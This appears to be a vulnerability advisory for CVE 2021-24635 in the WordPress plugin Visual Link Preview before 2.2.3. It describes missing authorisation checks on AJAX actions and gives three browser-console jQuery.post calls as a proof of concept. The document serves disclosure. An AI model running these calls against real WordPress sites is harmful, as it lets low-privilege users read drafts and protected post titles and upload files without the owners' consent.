Visual Link Preview < 2.2.3 – Unauthorised AJAX Calls | CVE 2021-24635

Description

The plugin does not enforce authorisation on several AJAX actions and has the CSRF nonce displayed for all authenticated users, allowing any authenticated user (such as subscriber) to call them and 1) Get and search through title and content of Draft post, 2) Get title of a password-protected post as well as 3) Upload an image from an URL

Proof of Concept

Run the following command in the Web Developer console of the Web browser while logged in as a Subscriber.

jQuery.post(ajaxurl,{security:vlp_admin.nonce,id:POST_ID,action:"vlp_get_post_content"});
jQuery.post(ajaxurl,{security:vlp_admin.nonce,search:"KEYWORD",action:"vlp_search_posts"});
jQuery.post(ajaxurl,{security:vlp_admin.nonce,url:"IMAGE URL",action:"vlp_save_image"});